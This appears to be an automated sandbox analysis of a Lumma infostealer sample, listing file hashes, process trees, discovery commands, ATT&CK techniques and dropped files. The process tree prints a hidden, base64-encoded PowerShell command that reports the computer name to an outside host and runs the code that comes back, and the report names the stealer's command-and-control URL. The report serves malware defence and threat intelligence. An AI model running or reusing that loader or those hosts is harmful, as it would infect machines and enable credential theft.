lumma | 183c6aa694124103e3896ee7b71175f4a81d9533218617cb80d60d9307b53c90

Analysis

max time kernel
122s
max time network
140s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 19:18

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General

Target

install.exe
Size

136KB
MD5

fca89c62d6ea9f979b3a8d21ee2c4f55
SHA1

bd77809998b5cfef93e3c34af3ddb8292f549d44
SHA256

6b069e5b450898615e709275bc0a53b529f171301a603093bdc17ebd784e0e34
SHA512

f1f1f30d0c07c343d9709dd4a6405751de678886703bd59f2d72751f3d470ca88389b3ce3ba5966282e6f60ae68f13de722e885f4bd1bfae2aad60323edf7df0
SSDEEP

1536:xZ2FWSNhd/4131iO08SKKAP7wBwp8wZtE:T2ddQ131i1pKJP7w2p

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Family

lumma

https://quotedjizwe.cyou/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2400 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

EASteamProxy.exeEASteamProxy.exe

pid process

3064 EASteamProxy.exe
1704 EASteamProxy.exe

pid	process
2400	powershell.exe

pid	process
3064	EASteamProxy.exe
1704	EASteamProxy.exe

Loads dropped DLL 20 IoCs

Processes:

cmd.exeEASteamProxy.exeEASteamProxy.exe

pid	process
2108	cmd.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
3064	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 pastebin.com
2 pastebin.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

EASteamProxy.exe

description pid process target process

PID 1704 set thread context of 1864 1704 EASteamProxy.exe cmd.exe

flow	ioc
3	pastebin.com
2	pastebin.com

description	pid	process	target process
PID 1704 set thread context of 1864	1704	EASteamProxy.exe	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

javaw.exeWMIC.exeWMIC.exemore.comchcp.comcmd.execmd.exechcp.comcmd.exemore.comchcp.comcmd.exeexplorer.exeinstall.execmd.exeexplorer.exechcp.comcmd.exechcp.commore.comWMIC.exepowershell.execmd.exeAcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exeEASteamProxy.exeEASteamProxy.execmd.exe

pid process

2400 powershell.exe
3064 EASteamProxy.exe
1704 EASteamProxy.exe
1704 EASteamProxy.exe
1864 cmd.exe
1864 cmd.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

AcroRd32.exe

pid process

2680 AcroRd32.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

EASteamProxy.execmd.exe

pid process

1704 EASteamProxy.exe
1864 cmd.exe

pid	process
2400	powershell.exe
3064	EASteamProxy.exe
1704	EASteamProxy.exe
1704	EASteamProxy.exe
1864	cmd.exe
1864	cmd.exe

pid	process
2680	AcroRd32.exe

pid	process
1704	EASteamProxy.exe
1864	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2284	WMIC.exe
Token: SeSecurityPrivilege	2284	WMIC.exe
Token: SeTakeOwnershipPrivilege	2284	WMIC.exe
Token: SeLoadDriverPrivilege	2284	WMIC.exe
Token: SeSystemProfilePrivilege	2284	WMIC.exe
Token: SeSystemtimePrivilege	2284	WMIC.exe
Token: SeProfSingleProcessPrivilege	2284	WMIC.exe
Token: SeIncBasePriorityPrivilege	2284	WMIC.exe
Token: SeCreatePagefilePrivilege	2284	WMIC.exe
Token: SeBackupPrivilege	2284	WMIC.exe
Token: SeRestorePrivilege	2284	WMIC.exe
Token: SeShutdownPrivilege	2284	WMIC.exe
Token: SeDebugPrivilege	2284	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2284	WMIC.exe
Token: SeRemoteShutdownPrivilege	2284	WMIC.exe
Token: SeUndockPrivilege	2284	WMIC.exe
Token: SeManageVolumePrivilege	2284	WMIC.exe
Token: 33	2284	WMIC.exe
Token: 34	2284	WMIC.exe
Token: 35	2284	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2284	WMIC.exe
Token: SeSecurityPrivilege	2284	WMIC.exe
Token: SeTakeOwnershipPrivilege	2284	WMIC.exe
Token: SeLoadDriverPrivilege	2284	WMIC.exe
Token: SeSystemProfilePrivilege	2284	WMIC.exe
Token: SeSystemtimePrivilege	2284	WMIC.exe
Token: SeProfSingleProcessPrivilege	2284	WMIC.exe
Token: SeIncBasePriorityPrivilege	2284	WMIC.exe
Token: SeCreatePagefilePrivilege	2284	WMIC.exe
Token: SeBackupPrivilege	2284	WMIC.exe
Token: SeRestorePrivilege	2284	WMIC.exe
Token: SeShutdownPrivilege	2284	WMIC.exe
Token: SeDebugPrivilege	2284	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2284	WMIC.exe
Token: SeRemoteShutdownPrivilege	2284	WMIC.exe
Token: SeUndockPrivilege	2284	WMIC.exe
Token: SeManageVolumePrivilege	2284	WMIC.exe
Token: 33	2284	WMIC.exe
Token: 34	2284	WMIC.exe
Token: 35	2284	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2200	WMIC.exe
Token: SeSecurityPrivilege	2200	WMIC.exe
Token: SeTakeOwnershipPrivilege	2200	WMIC.exe
Token: SeLoadDriverPrivilege	2200	WMIC.exe
Token: SeSystemProfilePrivilege	2200	WMIC.exe
Token: SeSystemtimePrivilege	2200	WMIC.exe
Token: SeProfSingleProcessPrivilege	2200	WMIC.exe
Token: SeIncBasePriorityPrivilege	2200	WMIC.exe
Token: SeCreatePagefilePrivilege	2200	WMIC.exe
Token: SeBackupPrivilege	2200	WMIC.exe
Token: SeRestorePrivilege	2200	WMIC.exe
Token: SeShutdownPrivilege	2200	WMIC.exe
Token: SeDebugPrivilege	2200	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2200	WMIC.exe
Token: SeRemoteShutdownPrivilege	2200	WMIC.exe
Token: SeUndockPrivilege	2200	WMIC.exe
Token: SeManageVolumePrivilege	2200	WMIC.exe
Token: 33	2200	WMIC.exe
Token: 34	2200	WMIC.exe
Token: 35	2200	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2200	WMIC.exe
Token: SeSecurityPrivilege	2200	WMIC.exe
Token: SeTakeOwnershipPrivilege	2200	WMIC.exe
Token: SeLoadDriverPrivilege	2200	WMIC.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

javaw.exeAcroRd32.exe

pid process

2620 javaw.exe
2620 javaw.exe
2680 AcroRd32.exe
2680 AcroRd32.exe
2680 AcroRd32.exe

pid	process
2620	javaw.exe
2620	javaw.exe
2680	AcroRd32.exe
2680	AcroRd32.exe
2680	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

install.exejavaw.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2352 wrote to memory of 2620	2352	install.exe	javaw.exe
PID 2352 wrote to memory of 2620	2352	install.exe	javaw.exe
PID 2352 wrote to memory of 2620	2352	install.exe	javaw.exe
PID 2352 wrote to memory of 2620	2352	install.exe	javaw.exe
PID 2352 wrote to memory of 2620	2352	install.exe	javaw.exe
PID 2352 wrote to memory of 2620	2352	install.exe	javaw.exe
PID 2352 wrote to memory of 2620	2352	install.exe	javaw.exe
PID 2620 wrote to memory of 3044	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3044	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3044	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3044	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3044	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3044	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3044	2620	javaw.exe	cmd.exe
PID 3044 wrote to memory of 2956	3044	cmd.exe	chcp.com
PID 3044 wrote to memory of 2956	3044	cmd.exe	chcp.com
PID 3044 wrote to memory of 2956	3044	cmd.exe	chcp.com
PID 3044 wrote to memory of 2956	3044	cmd.exe	chcp.com
PID 3044 wrote to memory of 2956	3044	cmd.exe	chcp.com
PID 3044 wrote to memory of 2956	3044	cmd.exe	chcp.com
PID 3044 wrote to memory of 2956	3044	cmd.exe	chcp.com
PID 3044 wrote to memory of 3052	3044	cmd.exe	reg.exe
PID 3044 wrote to memory of 3052	3044	cmd.exe	reg.exe
PID 3044 wrote to memory of 3052	3044	cmd.exe	reg.exe
PID 3044 wrote to memory of 3052	3044	cmd.exe	reg.exe
PID 2620 wrote to memory of 3032	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3032	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3032	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3032	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3032	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3032	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 3032	2620	javaw.exe	cmd.exe
PID 3032 wrote to memory of 2324	3032	cmd.exe	chcp.com
PID 3032 wrote to memory of 2324	3032	cmd.exe	chcp.com
PID 3032 wrote to memory of 2324	3032	cmd.exe	chcp.com
PID 3032 wrote to memory of 2324	3032	cmd.exe	chcp.com
PID 3032 wrote to memory of 2324	3032	cmd.exe	chcp.com
PID 3032 wrote to memory of 2324	3032	cmd.exe	chcp.com
PID 3032 wrote to memory of 2324	3032	cmd.exe	chcp.com
PID 3032 wrote to memory of 2284	3032	cmd.exe	WMIC.exe
PID 3032 wrote to memory of 2284	3032	cmd.exe	WMIC.exe
PID 3032 wrote to memory of 2284	3032	cmd.exe	WMIC.exe
PID 3032 wrote to memory of 2284	3032	cmd.exe	WMIC.exe
PID 3032 wrote to memory of 2284	3032	cmd.exe	WMIC.exe
PID 3032 wrote to memory of 2284	3032	cmd.exe	WMIC.exe
PID 3032 wrote to memory of 2284	3032	cmd.exe	WMIC.exe
PID 3032 wrote to memory of 2432	3032	cmd.exe	more.com
PID 3032 wrote to memory of 2432	3032	cmd.exe	more.com
PID 3032 wrote to memory of 2432	3032	cmd.exe	more.com
PID 3032 wrote to memory of 2432	3032	cmd.exe	more.com
PID 3032 wrote to memory of 2432	3032	cmd.exe	more.com
PID 3032 wrote to memory of 2432	3032	cmd.exe	more.com
PID 3032 wrote to memory of 2432	3032	cmd.exe	more.com
PID 2620 wrote to memory of 1708	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 1708	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 1708	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 1708	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 1708	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 1708	2620	javaw.exe	cmd.exe
PID 2620 wrote to memory of 1708	2620	javaw.exe	cmd.exe
PID 1708 wrote to memory of 436	1708	cmd.exe	chcp.com
PID 1708 wrote to memory of 436	1708	cmd.exe	chcp.com
PID 1708 wrote to memory of 436	1708	cmd.exe	chcp.com
PID 1708 wrote to memory of 436	1708	cmd.exe	chcp.com

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe
  "C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "lib\.;lib\..;lib\asm-all.jar;lib\dn-compiled-module.jar;lib\dn-php-sdk.jar;lib\gson.jar;lib\jphp-app-framework.jar;lib\jphp-core.jar;lib\jphp-desktop-ext.jar;lib\jphp-gui-ext.jar;lib\jphp-json-ext.jar;lib\jphp-runtime.jar;lib\jphp-xml-ext.jar;lib\jphp-zend-ext.jar;lib\jphp-zip-ext.jar;lib\slf4j-api.jar;lib\slf4j-simple.jar;lib\zt-zip.jar" org.develnext.jphp.ext.javafx.FXLauncher
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:2956
  - - C:\Windows\system32\reg.exe
      C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild"
      4⤵
      PID:3052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List | C:\Windows\System32\more.com"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 866
      4⤵
      System Location Discovery: System Language Discovery
      PID:2324
  - - C:\Windows\SysWOW64\wbem\WMIC.exe
      C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2284
  - - C:\Windows\SysWOW64\more.com
      C:\Windows\System32\more.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:2432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List | C:\Windows\System32\more.com"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 866
      4⤵
      System Location Discovery: System Language Discovery
      PID:436
  - - C:\Windows\SysWOW64\wbem\WMIC.exe
      C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2200
  - - C:\Windows\SysWOW64\more.com
      C:\Windows\System32\more.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:2132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List | C:\Windows\System32\more.com"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1748
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 866
      4⤵
      System Location Discovery: System Language Discovery
      PID:1836
  - - C:\Windows\SysWOW64\wbem\WMIC.exe
      C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List
      4⤵
      System Location Discovery: System Language Discovery
      PID:2548
  - - C:\Windows\SysWOW64\more.com
      C:\Windows\System32\more.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:1744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1004
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:2008
  - - C:\Windows\system32\reg.exe
      C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19"
      4⤵
      PID:1756
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('DQokcj0naHR0cDovL2NhdHNpLm5ldC9pbmNhbGwucGhwP2NvbXBOYW1lPScrJGVudjpjb21wdXRlcm5hbWU7IFtuZXQuU2VydmljRXBPaU50bUFuYWdlUl06OnNFQ3VyaVRZcFJPVG9jT2wgPSBbbkVULnNlQ1VSSVR5cFJPVG9jb0xUWXBlXTo6VGxzMTI7ICR0dHAgPSBpd3IgJHIgLVVzZUJhc2ljUGFyc2luZyAtVXNlckFnZW50ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS84MS4wLjQ0NC4xNDMgU2FmYXJpLzUzNy4zNic7IGlleCAkdHRwLkNvbnRlbnQ7')); Invoke-Expression $script}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2400
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "cd /d "C:\Users\Admin\AppData\Local\Temp/bfdc49c7f83fe006f099e2ca90b4e02c/" && (for %F in (*.exe) do start "" "%F")"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2108
  - - C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\EASteamProxy.exe
      "EASteamProxy.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:3064
    - - C:\Users\Admin\AppData\Roaming\Serverdownload\EASteamProxy.exe
        
        C:\Users\Admin\AppData\Roaming\Serverdownload\EASteamProxy.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1704
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1864
        
        C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2008
- - C:\Windows\SysWOW64\explorer.exe
    explorer C:\Users\Admin\AppData\Local\Temp\f78061258a4939bad00056783d463c14.pdf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1972

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:1356
- C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\f78061258a4939bad00056783d463c14.pdf"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2889b29f

Filesize
1.0MB

MD5
95ea0f629db41c66648779e03d59e384

SHA1
95ef5c98d2845d25d0d43f71766c6659d4dc3889

SHA256
758ea54063e3b5bb0e078f1acdc2bbb829535cec9e3613d22c7a2c6ac583407c

SHA512
5bccfb9c98b46d3f191b2755b4986155158d3bd86d4d93e618e710724510115fb8888f60eb041abfe016f0082944f5e0f17c703191f820fcbd0e6bb62552c65e

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabAD42.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarADC2.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\MSVCP140.dll

Filesize
564KB

MD5
1ba6d1cf0508775096f9e121a24e5863

SHA1
df552810d779476610da3c8b956cc921ed6c91ae

SHA256
74892d9b4028c05debaf0b9b5d9dc6d22f7956fa7d7eee00c681318c26792823

SHA512
9887d9f5838aa1555ea87968e014edfe2f7747f138f1b551d1f609bc1d5d8214a5fdab0d76fcac98864c1da5eb81405ca373b2a30cb12203c011d89ea6d069af

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\Qt5Core.dll

Filesize
6.0MB

MD5
2a7f32421b71aaeebd6287f55acdf983

SHA1
217db3af7575622d58f94845b7ee6ceffd6e1c0f

SHA256
d0e476c7573735b01ba7893b7e513ac463316b50b5d6e238878a8567b0b1bc86

SHA512
b5839c867d3ea09f0796482f8040ed5ebb9ddf9917df8ce76ed675e377af97ab0ac06917af0c2d8401afa30c5deb7052e7218c779dd731c7774ca10dc1306bf5

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\Qt5Network.dll

Filesize
1.3MB

MD5
c24c89879410889df656e3a961c59bcc

SHA1
25a9e4e545e86b0a5fe14ee0147746667892fabd

SHA256
739bedcfc8eb860927eb2057474be5b39518aaaa6703f9f85307a432fa1f236e

SHA512
0542c431049e4fd40619579062d206396bef2f6dadadbf9294619c918b9e6c96634dcd404b78c6045974295126ec35dd842c6ec8f42279d9598b57a751cd0034

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\VCRUNTIME140.dll

Filesize
106KB

MD5
49c96cecda5c6c660a107d378fdfc3d4

SHA1
00149b7a66723e3f0310f139489fe172f818ca8e

SHA256
69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc

SHA512
e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\VCRUNTIME140_1.dll

Filesize
48KB

MD5
cf0a1c4776ffe23ada5e570fc36e39fe

SHA1
2050fadecc11550ad9bde0b542bcf87e19d37f1a

SHA256
6fd366a691ed68430bcd0a3de3d8d19a0cb2102952bfc140bbef4354ed082c47

SHA512
d95cd98d22ca048d0fc5bca551c9db13d6fa705f6af120bbbb621cf2b30284bfdc7320d0a819bb26dab1e0a46253cc311a370bed4ef72ecb60c69791ed720168

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\fglmxri

Filesize
19KB

MD5
5df7aef6e2e2691eb57558a45eba260e

SHA1
a9e9053a5a2810f89ff349c5e6bfc98a5271750f

SHA256
93aa2b9642df06986e0cf718a3708d22a30ced07e93c1d16f999f456de982a17

SHA512
1432dc775add2f5ec4c30964fcd58f5e2dde836ebdc10cf9f2404a0e2915d98c89cfc310d2ec16b51c2a3791352c4096d33715628d58db5064d65c35578c0789

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\jdeo

Filesize
799KB

MD5
e2658cb392d04822f8d80aad17f8f9ce

SHA1
a5a93b010269939482714985b5bcea25e806088d

SHA256
aec797462aad55a6b688ceb5e1c83c874c3828d4dfc8f2460e5c01342f7728e4

SHA512
31c95479e522d589a0f659a0af0e771ba5634c1515fcffb161b09c97ae60834266846a640bf3a18969a618d1bcb9eff5161bb54108d47b4379fdbaba2a8b67b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\libcrypto-1_1-x64.dll

Filesize
2.7MB

MD5
28dea3e780552eb5c53b3b9b1f556628

SHA1
55dccd5b30ce0363e8ebdfeb1cca38d1289748b8

SHA256
52415829d85c06df8724a3d3d00c98f12beabf5d6f3cbad919ec8000841a86e8

SHA512
19dfe5f71901e43ea34d257f693ae1a36433dbdbcd7c9440d9b0f9eea24de65c4a8fe332f7b88144e1a719a6ba791c2048b4dd3e5b1ed0fdd4c813603ad35112

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\libssl-1_1-x64.dll

Filesize
669KB

MD5
4ad03043a32e9a1ef64115fc1ace5787

SHA1
352e0e3a628c8626cff7eed348221e889f6a25c4

SHA256
a0e43cbc4a2d8d39f225abd91980001b7b2b5001e8b2b8292537ae39b17b85d1

SHA512
edfae3660a5f19a9deda0375efba7261d211a74f1d8b6bf1a8440fed4619c4b747aca8301d221fd91230e7af1dab73123707cc6eda90e53eb8b6b80872689ba6

Download Submit
C:\Users\Admin\AppData\Local\Temp\bfdc49c7f83fe006f099e2ca90b4e02c\steam_api64.dll

Filesize
291KB

MD5
6b4ab6e60364c55f18a56a39021b74a6

SHA1
39cac2889d8ca497ee0d8434fc9f6966f18fa336

SHA256
1db3fd414039d3e5815a5721925dd2e0a3a9f2549603c6cab7c49b84966a1af3

SHA512
c08de8c6e331d13dfe868ab340e41552fc49123a9f782a5a63b95795d5d979e68b5a6ab171153978679c0791dc3e3809c883471a05864041ce60b240ccdd4c21

Download Submit
C:\Users\Admin\AppData\Local\Temp\f78061258a4939bad00056783d463c14.pdf

Filesize
51KB

MD5
acfffe6de49ab6bbcb590e95d558111b

SHA1
51d7b4a4ef2851f4787805bd2eebc61f9f62ae34

SHA256
fd0bc347f27e479b565d6095bfdc96ef2f42a7ae8649c40e1e702c8f16ab6217

SHA512
